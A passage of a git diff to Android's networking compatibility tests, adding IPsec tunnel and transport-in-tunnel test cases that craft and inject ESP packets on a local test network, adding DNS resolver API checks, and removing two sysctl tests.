+        sCM.requestNetwork(nr, cb);
+
+        // Setup the test network after network request is filed to prevent Network from being
+        // reaped due to no requests matching it.
+        sTNM.setupTestNetwork(ifname, sBinder);
+
+        return cb;
+    }
+
+    @Test
+    public void testSecurityExceptionCreateTunnelInterfaceWithoutAppop() throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        // Ensure we don't have the appop. Permission is not requested in the Manifest
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+
+        // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
+        try {
+            mISM.createIpSecTunnelInterface(LOCAL_INNER_6, REMOTE_INNER_6, sTunNetwork);
+            fail("Did not throw SecurityException for Tunnel creation without appop");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    @Test
+    public void testSecurityExceptionBuildTunnelTransformWithoutAppop() throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        // Ensure we don't have the appop. Permission is not requested in the Manifest
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+
+        // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
+        try (IpSecManager.SecurityParameterIndex spi =
+                        mISM.allocateSecurityParameterIndex(LOCAL_INNER_4);
+                IpSecTransform transform =
+                        new IpSecTransform.Builder(sContext)
+                                .buildTunnelModeTransform(REMOTE_INNER_4, spi)) {
+            fail("Did not throw SecurityException for Transform creation without appop");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /* Test runnables for callbacks after IPsec tunnels are set up. */
+    private abstract class IpSecTunnelTestRunnable {
+        /**
+         * Runs the test code, and returns the inner socket port, if any.
+         *
+         * @param ipsecNetwork The IPsec Interface based Network for binding sockets on
+         * @return the integer port of the inner socket if outbound, or 0 if inbound
+         *     IpSecTunnelTestRunnable
+         * @throws Exception if any part of the test failed.
+         */
+        public abstract int run(Network ipsecNetwork) throws Exception;
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CompletableFuture<Network> futureNetwork = new CompletableFuture<>();
+
+        @Override
+        public void onAvailable(Network network) {
+            futureNetwork.complete(network);
+        }
+
+        public Network getNetworkBlocking() throws Exception {
+            return futureNetwork.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    private int getPacketSize(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode) {
+        int expectedPacketSize = TEST_DATA.length + UDP_HDRLEN;
+
+        // Inner Transport mode packet size
+        if (transportInTunnelMode) {
+            expectedPacketSize =
+                    PacketUtils.calculateEspPacketSize(
+                            expectedPacketSize,
+                            AES_CBC_IV_LEN,
+                            AES_CBC_BLK_SIZE,
+                            AUTH_KEY.length * 4);
+        }
+
+        // Inner IP Header
+        expectedPacketSize += innerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
+
+        // Tunnel mode transform size
+        expectedPacketSize =
+                PacketUtils.calculateEspPacketSize(
+                        expectedPacketSize, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, AUTH_KEY.length * 4);
+
+        // UDP encap size
+        expectedPacketSize += useEncap ? UDP_HDRLEN : 0;
+
+        // Outer IP Header
+        expectedPacketSize += outerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
+
+        return expectedPacketSize;
+    }
+
+    private interface IpSecTunnelTestRunnableFactory {
+        IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int innerSocketPort,
+                int expectedPacketSize)
+                throws Exception;
+    }
+
+    private class OutputIpSecTunnelTestRunnableFactory implements IpSecTunnelTestRunnableFactory {
+        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int unusedInnerSocketPort,
+                int expectedPacketSize) {
+            return new IpSecTunnelTestRunnable() {
+                @Override
+                public int run(Network ipsecNetwork) throws Exception {
+                    // Build a socket and send traffic
+                    JavaUdpSocket socket = new JavaUdpSocket(localInner);
+                    ipsecNetwork.bindSocket(socket.mSocket);
+                    int innerSocketPort = socket.getPort();
+
+                    // For Transport-In-Tunnel mode, apply transform to socket
+                    if (transportInTunnelMode) {
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_IN, inTransportTransform);
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_OUT, outTransportTransform);
+                    }
+
+                    socket.sendTo(TEST_DATA, remoteInner, socket.getPort());
+
+                    // Verify that an encrypted packet is sent. As of right now, checking encrypted
+                    // body is not possible, due to the test not knowing some of the fields of the
+                    // inner IP header (flow label, flags, etc)
+                    sTunUtils.awaitEspPacketNoPlaintext(
+                            spi, TEST_DATA, encapPort != 0, expectedPacketSize);
+
+                    socket.close();
+
+                    return innerSocketPort;
+                }
+            };
+        }
+    }
+
+    private class InputReflectedIpSecTunnelTestRunnableFactory
+            implements IpSecTunnelTestRunnableFactory {
+        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int innerSocketPort,
+                int expectedPacketSize)
+                throws Exception {
+            return new IpSecTunnelTestRunnable() {
+                @Override
+                public int run(Network ipsecNetwork) throws Exception {
+                    // Build a socket and receive traffic
+                    JavaUdpSocket socket = new JavaUdpSocket(localInner, innerSocketPort);
+                    ipsecNetwork.bindSocket(socket.mSocket);
+
+                    // For Transport-In-Tunnel mode, apply transform to socket
+                    if (transportInTunnelMode) {
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
+                    }
+
+                    sTunUtils.reflectPackets();
+
+                    // Receive packet from socket, and validate that the payload is correct
+                    receiveAndValidatePacket(socket);
+
+                    socket.close();
+
+                    return 0;
+                }
+            };
+        }
+    }
+
+    private class InputPacketGeneratorIpSecTunnelTestRunnableFactory
+            implements IpSecTunnelTestRunnableFactory {
+        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int innerSocketPort,
+                int expectedPacketSize)
+                throws Exception {
+            return new IpSecTunnelTestRunnable() {
+                @Override
+                public int run(Network ipsecNetwork) throws Exception {
+                    // Build a socket and receive traffic
+                    JavaUdpSocket socket = new JavaUdpSocket(localInner);
+                    ipsecNetwork.bindSocket(socket.mSocket);
+
+                    // For Transport-In-Tunnel mode, apply transform to socket
+                    if (transportInTunnelMode) {
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
+                    }
+
+                    byte[] pkt;
+                    if (transportInTunnelMode) {
+                        pkt =
+                                getTransportInTunnelModePacket(
+                                        spi,
+                                        spi,
+                                        remoteInner,
+                                        localInner,
+                                        remoteOuter,
+                                        localOuter,
+                                        socket.getPort(),
+                                        encapPort);
+                    } else {
+                        pkt =
+                                getTunnelModePacket(
+                                        spi,
+                                        remoteInner,
+                                        localInner,
+                                        remoteOuter,
+                                        localOuter,
+                                        socket.getPort(),
+                                        encapPort);
+                    }
+                    sTunUtils.injectPacket(pkt);
+
+                    // Receive packet from socket, and validate
+                    receiveAndValidatePacket(socket);
+
+                    socket.close();
+
+                    return 0;
+                }
+            };
+        }
+    }
+
+    private void checkTunnelOutput(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+            throws Exception {
+        checkTunnel(
+                innerFamily,
+                outerFamily,
+                useEncap,
+                transportInTunnelMode,
+                new OutputIpSecTunnelTestRunnableFactory());
+    }
+
+    private void checkTunnelInput(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+            throws Exception {
+        checkTunnel(
+                innerFamily,
+                outerFamily,
+                useEncap,
+                transportInTunnelMode,
+                new InputPacketGeneratorIpSecTunnelTestRunnableFactory());
+    }
+
+    /**
+     * Validates that the kernel can talk to itself.
+     *
+     * <p>This test takes an outbound IPsec packet, reflects it (by flipping IP src/dst), and
+     * injects it back into the TUN. This test then verifies that a packet with the correct payload
+     * is found on the specified socket/port.
+     */
+    public void checkTunnelReflected(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+            throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
+        InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
+
+        InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
+        InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
+
+        // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
+        int spi = getRandomSpi(localOuter, remoteOuter);
+        int expectedPacketSize =
+                getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
+
+        try (IpSecManager.SecurityParameterIndex inTransportSpi =
+                        mISM.allocateSecurityParameterIndex(localInner, spi);
+                IpSecManager.SecurityParameterIndex outTransportSpi =
+                        mISM.allocateSecurityParameterIndex(remoteInner, spi);
+                IpSecTransform inTransportTransform =
+                        buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
+                IpSecTransform outTransportTransform =
+                        buildIpSecTransform(sContext, outTransportSpi, null, localInner);
+                UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+
+            // Run output direction tests
+            IpSecTunnelTestRunnable outputIpSecTunnelTestRunnable =
+                    new OutputIpSecTunnelTestRunnableFactory()
+                            .getIpSecTunnelTestRunnable(
+                                    transportInTunnelMode,
+                                    spi,
+                                    localInner,
+                                    remoteInner,
+                                    localOuter,
+                                    remoteOuter,
+                                    inTransportTransform,
+                                    outTransportTransform,
+                                    useEncap ? encapSocket.getPort() : 0,
+                                    0,
+                                    expectedPacketSize);
+            int innerSocketPort =
+                    buildTunnelNetworkAndRunTests(
+                    localInner,
+                    remoteInner,
+                    localOuter,
+                    remoteOuter,
+                    spi,
+                    useEncap ? encapSocket : null,
+                    outputIpSecTunnelTestRunnable);
+
+            // Input direction tests, with matching inner socket ports.
+            IpSecTunnelTestRunnable inputIpSecTunnelTestRunnable =
+                    new InputReflectedIpSecTunnelTestRunnableFactory()
+                            .getIpSecTunnelTestRunnable(
+                                    transportInTunnelMode,
+                                    spi,
+                                    remoteInner,
+                                    localInner,
+                                    localOuter,
+                                    remoteOuter,
+                                    inTransportTransform,
+                                    outTransportTransform,
+                                    useEncap ? encapSocket.getPort() : 0,
+                                    innerSocketPort,
+                                    expectedPacketSize);
+            buildTunnelNetworkAndRunTests(
+                    remoteInner,
+                    localInner,
+                    localOuter,
+                    remoteOuter,
+                    spi,
+                    useEncap ? encapSocket : null,
+                    inputIpSecTunnelTestRunnable);
+        }
+    }
+
+    public void checkTunnel(
+            int innerFamily,
+            int outerFamily,
+            boolean useEncap,
+            boolean transportInTunnelMode,
+            IpSecTunnelTestRunnableFactory factory)
+            throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
+        InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
+
+        InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
+        InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
+
+        // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
+        // Re-uses the same SPI to ensure that even in cases of symmetric SPIs shared across tunnel
+        // and transport mode, packets are encrypted/decrypted properly based on the src/dst.
+        int spi = getRandomSpi(localOuter, remoteOuter);
+        int expectedPacketSize =
+                getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
+
+        try (IpSecManager.SecurityParameterIndex inTransportSpi =
+                        mISM.allocateSecurityParameterIndex(localInner, spi);
+                IpSecManager.SecurityParameterIndex outTransportSpi =
+                        mISM.allocateSecurityParameterIndex(remoteInner, spi);
+                IpSecTransform inTransportTransform =
+                        buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
+                IpSecTransform outTransportTransform =
+                        buildIpSecTransform(sContext, outTransportSpi, null, localInner);
+                UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+
+            buildTunnelNetworkAndRunTests(
+                    localInner,
+                    remoteInner,
+                    localOuter,
+                    remoteOuter,
+                    spi,
+                    useEncap ? encapSocket : null,
+                    factory.getIpSecTunnelTestRunnable(
+                            transportInTunnelMode,
+                            spi,
+                            localInner,
+                            remoteInner,
+                            localOuter,
+                            remoteOuter,
+                            inTransportTransform,
+                            outTransportTransform,
+                            useEncap ? encapSocket.getPort() : 0,
+                            0,
+                            expectedPacketSize));
+        }
+    }
+
+    private int buildTunnelNetworkAndRunTests(
+            InetAddress localInner,
+            InetAddress remoteInner,
+            InetAddress localOuter,
+            InetAddress remoteOuter,
+            int spi,
+            UdpEncapsulationSocket encapSocket,
+            IpSecTunnelTestRunnable test)
+            throws Exception {
+        int innerPrefixLen = localInner instanceof Inet6Address ? IP6_PREFIX_LEN : IP4_PREFIX_LEN;
+        TestNetworkCallback testNetworkCb = null;
+        int innerSocketPort;
+
+        try (IpSecManager.SecurityParameterIndex inSpi =
+                        mISM.allocateSecurityParameterIndex(localOuter, spi);
+                IpSecManager.SecurityParameterIndex outSpi =
+                        mISM.allocateSecurityParameterIndex(remoteOuter, spi);
+                IpSecManager.IpSecTunnelInterface tunnelIface =
+                        mISM.createIpSecTunnelInterface(localOuter, remoteOuter, sTunNetwork)) {
+            // Build the test network
+            tunnelIface.addAddress(localInner, innerPrefixLen);
+            testNetworkCb = setupAndGetTestNetwork(tunnelIface.getInterfaceName());
+            Network testNetwork = testNetworkCb.getNetworkBlocking();
+
+            // Check interface was created
+            assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+
+            // Verify address was added
+            final NetworkInterface netIface = NetworkInterface.getByInetAddress(localInner);
+            assertNotNull(netIface);
+            assertEquals(tunnelIface.getInterfaceName(), netIface.getDisplayName());
+
+            // Configure Transform parameters
+            IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(sContext);
+            transformBuilder.setEncryption(
+                    new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY));
+            transformBuilder.setAuthentication(
+                    new IpSecAlgorithm(
+                            IpSecAlgorithm.AUTH_HMAC_SHA256, AUTH_KEY, AUTH_KEY.length * 4));
+
+            if (encapSocket != null) {
+                transformBuilder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
+            }
+
+            // Apply transform and check that traffic is properly encrypted
+            try (IpSecTransform inTransform =
+                            transformBuilder.buildTunnelModeTransform(remoteOuter, inSpi);
+                    IpSecTransform outTransform =
+                            transformBuilder.buildTunnelModeTransform(localOuter, outSpi)) {
+                mISM.applyTunnelModeTransform(tunnelIface, IpSecManager.DIRECTION_IN, inTransform);
+                mISM.applyTunnelModeTransform(
+                        tunnelIface, IpSecManager.DIRECTION_OUT, outTransform);
+
+                innerSocketPort = test.run(testNetwork);
+            }
+
+            // Teardown the test network
+            sTNM.teardownTestNetwork(testNetwork);
+
+            // Remove addresses and check that interface is still present, but fails lookup-by-addr
+            tunnelIface.removeAddress(localInner, innerPrefixLen);
+            assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+            assertNull(NetworkInterface.getByInetAddress(localInner));
+
+            // Check interface was cleaned up
+            tunnelIface.close();
+            assertNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+        } finally {
+            if (testNetworkCb != null) {
+                sCM.unregisterNetworkCallback(testNetworkCb);
+            }
+        }
+
+        return innerSocketPort;
+    }
+
+    private static void receiveAndValidatePacket(JavaUdpSocket socket) throws Exception {
+        byte[] socketResponseBytes = socket.receive();
+        assertArrayEquals(TEST_DATA, socketResponseBytes);
+    }
+
+    private int getRandomSpi(InetAddress localOuter, InetAddress remoteOuter) throws Exception {
+        // Try to allocate both in and out SPIs using the same requested SPI value.
+        try (IpSecManager.SecurityParameterIndex inSpi =
+                        mISM.allocateSecurityParameterIndex(localOuter);
+                IpSecManager.SecurityParameterIndex outSpi =
+                        mISM.allocateSecurityParameterIndex(remoteOuter, inSpi.getSpi()); ) {
+            return inSpi.getSpi();
+        }
+    }
+
+    private IpHeader getIpHeader(int protocol, InetAddress src, InetAddress dst, Payload payload) {
+        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
+            throw new IllegalArgumentException("Invalid src/dst address combination");
+        }
+
+        if (src instanceof Inet6Address) {
+            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
+        } else {
+            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
+        }
+    }
+
+    private EspHeader buildTransportModeEspPacket(
+            int spi, InetAddress src, InetAddress dst, int port, Payload payload) throws Exception {
+        IpHeader preEspIpHeader = getIpHeader(payload.getProtocolId(), src, dst, payload);
+
+        return new EspHeader(
+                payload.getProtocolId(),
+                spi,
+                1, // sequence number
+                CRYPT_KEY, // Same key for auth and crypt
+                payload.getPacketBytes(preEspIpHeader));
+    }
+
+    private EspHeader buildTunnelModeEspPacket(
+            int spi,
+            InetAddress srcInner,
+            InetAddress dstInner,
+            InetAddress srcOuter,
+            InetAddress dstOuter,
+            int port,
+            int encapPort,
+            Payload payload)
+            throws Exception {
+        IpHeader innerIp = getIpHeader(payload.getProtocolId(), srcInner, dstInner, payload);
+        return new EspHeader(
+                innerIp.getProtocolId(),
+                spi,
+                1, // sequence number
+                CRYPT_KEY, // Same key for auth and crypt
+                innerIp.getPacketBytes());
+    }
+
+    private IpHeader maybeEncapPacket(
+            InetAddress src, InetAddress dst, int encapPort, EspHeader espPayload)
+            throws Exception {
+
+        Payload payload = espPayload;
+        if (encapPort != 0) {
+            payload = new UdpHeader(encapPort, encapPort, espPayload);
+        }
+
+        return getIpHeader(payload.getProtocolId(), src, dst, payload);
+    }
+
+    private byte[] getTunnelModePacket(
+            int spi,
+            InetAddress srcInner,
+            InetAddress dstInner,
+            InetAddress srcOuter,
+            InetAddress dstOuter,
+            int port,
+            int encapPort)
+            throws Exception {
+        UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
+
+        EspHeader espPayload =
+                buildTunnelModeEspPacket(
+                        spi, srcInner, dstInner, srcOuter, dstOuter, port, encapPort, udp);
+        return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
+    }
+
+    private byte[] getTransportInTunnelModePacket(
+            int spiInner,
+            int spiOuter,
+            InetAddress srcInner,
+            InetAddress dstInner,
+            InetAddress srcOuter,
+            InetAddress dstOuter,
+            int port,
+            int encapPort)
+            throws Exception {
+        UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
+
+        EspHeader espPayload = buildTransportModeEspPacket(spiInner, srcInner, dstInner, port, udp);
+        espPayload =
+                buildTunnelModeEspPacket(
+                        spiOuter,
+                        srcInner,
+                        dstInner,
+                        srcOuter,
+                        dstOuter,
+                        port,
+                        encapPort,
+                        espPayload);
+        return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
+    }
+
+    // Transport-in-Tunnel mode tests
+    @Test
+    public void testTransportInTunnelModeV4InV4() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET, false, true);
+        checkTunnelInput(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV4UdpEncap() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET, true, true);
+        checkTunnelInput(AF_INET, AF_INET, true, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV6() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET6, false, true);
+        checkTunnelInput(AF_INET, AF_INET6, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET, false, true);
+        checkTunnelInput(AF_INET6, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4UdpEncap() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET, true, true);
+        checkTunnelInput(AF_INET6, AF_INET, true, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV6() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET6, false, true);
+        checkTunnelInput(AF_INET, AF_INET6, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    // Tunnel mode tests
+    @Test
+    public void testTunnelV4InV4() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET, false, false);
+        checkTunnelInput(AF_INET, AF_INET, false, false);
+    }
+
+    @Test
+    public void testTunnelV4InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, false);
+    }
+
+    @Test
+    public void testTunnelV4InV4UdpEncap() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET, true, false);
+        checkTunnelInput(AF_INET, AF_INET, true, false);
+    }
+
+    @Test
+    public void testTunnelV4InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, true, false);
+    }
+
+    @Test
+    public void testTunnelV4InV6() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET6, false, false);
+        checkTunnelInput(AF_INET, AF_INET6, false, false);
+    }
+
+    @Test
+    public void testTunnelV4InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET6, false, false);
+    }
+
+    @Test
+    public void testTunnelV6InV4() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET, false, false);
+        checkTunnelInput(AF_INET6, AF_INET, false, false);
+    }
+
+    @Test
+    public void testTunnelV6InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET6, AF_INET, false, false);
+    }
+
+    @Test
+    public void testTunnelV6InV4UdpEncap() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET, true, false);
+        checkTunnelInput(AF_INET6, AF_INET, true, false);
+    }
+
+    @Test
+    public void testTunnelV6InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET6, AF_INET, true, false);
+    }
+
+    @Test
+    public void testTunnelV6InV6() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET6, false, false);
+        checkTunnelInput(AF_INET6, AF_INET6, false, false);
+    }
+
+    @Test
+    public void testTunnelV6InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET6, AF_INET6, false, false);
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/IpSecSysctlTest.java b/tests/tests/net/src/android/net/cts/IpSecSysctlTest.java
deleted file mode 100644
index b362282..0000000
--- a/tests/tests/net/src/android/net/cts/IpSecSysctlTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructStat;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-/**
- * Tests for multinetwork sysctl functionality.
- */
-public class IpSecSysctlTest extends SysctlBaseTest {
-
-    // SPI expiration sysctls. Must be present and set greater than 1h.
-    private static final String SPI_TIMEOUT_SYSCTL = "/proc/sys/net/core/xfrm_acq_expires";
-    private static final int MIN_ACQ_EXPIRES = 3600;
-
-    /**
-     * Checks that SPI default timeouts are overridden, and set to a reasonable length of time
-     */
-    public void testProcFiles() throws ErrnoException, IOException, NumberFormatException {
-        int value = getIntValue(SPI_TIMEOUT_SYSCTL);
-        assertAtLeast(SPI_TIMEOUT_SYSCTL, value, MIN_ACQ_EXPIRES);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index b2c9d9b..c3e65b7 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -43,6 +43,12 @@
     private static native int runSetprocnetwork(long networkHandle);
     private static native int runSetsocknetwork(long networkHandle);
     private static native int runDatagramCheck(long networkHandle);
+    private static native int runResNapiMalformedCheck(long networkHandle);
+    private static native int runResNcancelCheck(long networkHandle);
+    private static native int runResNqueryCheck(long networkHandle);
+    private static native int runResNsendCheck(long networkHandle);
+
+
 
     private ConnectivityManager mCM;
 
@@ -175,4 +181,14 @@
             fail();
         } catch (IllegalArgumentException e) {}
     }
+
+    public void testResNApi() {
+        for (Network network : getTestableNetworks()) {
+            // Throws AssertionError directly in jni function if test fail.
+            runResNqueryCheck(network.getNetworkHandle());
+            runResNsendCheck(network.getNetworkHandle());
+            runResNcancelCheck(network.getNetworkHandle());
+            runResNapiMalformedCheck(network.getNetworkHandle());
+        }
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkSysctlTest.java b/tests/tests/net/src/android/net/cts/MultinetworkSysctlTest.java
deleted file mode 100644
index 1d0c111..0000000
--- a/tests/tests/net/src/android/net/cts/MultinetworkSysctlTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructStat;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-/**
- * Tests for multinetwork sysctl functionality.
- */
-public class MultinetworkSysctlTest extends SysctlBaseTest {
-
-    // Global sysctls. Must be present and set to 1.
-    private static final String[] GLOBAL_SYSCTLS = {
-        "/proc/sys/net/ipv4/fwmark_reflect",
-        "/proc/sys/net/ipv6/fwmark_reflect",
-        "/proc/sys/net/ipv4/tcp_fwmark_accept",
-    };
-
-    // Per-interface IPv6 autoconf sysctls.
-    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
-    private static final String AUTOCONF_SYSCTL = "accept_ra_rt_table";
-
-    /**
-     * Checks that the sysctls for multinetwork kernel features are present and
-     * enabled. The necessary kernel commits are:
-     *
-     * Mainline Linux:
-     *   e110861 net: add a sysctl to reflect the fwmark on replies
-     *   1b3c61d net: Use fwmark reflection in PMTU discovery.
-     *   84f39b0 net: support marking accepting TCP sockets
-     *
-     * Common Android tree (e.g., 3.10):
-     *   a03f539 net: ipv6: autoconf routes into per-device tables
-     */
-     public void testProcFiles() throws ErrnoException, IOException, NumberFormatException {
-         for (String sysctl : GLOBAL_SYSCTLS) {
-             int value = getIntValue(sysctl);
-             assertEquals(sysctl, 1, value);
-         }
-
-         File[] interfaceDirs = new File(IPV6_SYSCTL_DIR).listFiles();
-         for (File interfaceDir : interfaceDirs) {
-             if (interfaceDir.getName().equals("all") || interfaceDir.getName().equals("lo")) {
-                 continue;
-             }
-             String sysctl = new File(interfaceDir, AUTOCONF_SYSCTL).getAbsolutePath();
-             int value = getIntValue(sysctl);
-             assertLess(sysctl, value, 0);
-         }
-     }
-}
